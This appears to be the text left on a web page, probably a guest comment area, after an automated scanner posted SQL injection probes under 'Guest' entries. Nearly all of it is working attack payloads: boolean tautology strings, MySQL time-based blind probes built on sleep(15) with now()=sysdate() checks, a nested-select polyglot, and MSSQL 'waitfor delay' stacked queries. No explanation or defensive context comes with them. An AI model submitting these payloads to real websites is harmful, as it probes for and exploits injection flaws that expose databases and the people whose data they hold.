-1' OR 5*5=25 or 'eiy00i3J'='

-1" OR 5*5=25 or "ppG3u90a"="

if(now()=sysdate(),sleep(15),0)

Guest:

Guest:
1
-1 waitfor delay '0:0:15' -- 
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:

Guest:
1
-1 waitfor delay '0:0:15' -- 
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:

Guest:
1
-1 waitfor delay '0:0:15' -- 
-1; waitfor delay '0:0:15' --

Guest:

Guest:
1
-1 waitfor delay '0:0:15' -- 
-1); waitfor delay '0:0:15' --

Guest:

Guest:
1
-1 waitfor delay '0:0:15' -- 
-1 waitfor delay '0:0:15' --

Guest:

Guest:
1
-1 waitfor delay '0:0:15' -- 
3jIkM88E'; waitfor delay '0:0:15' --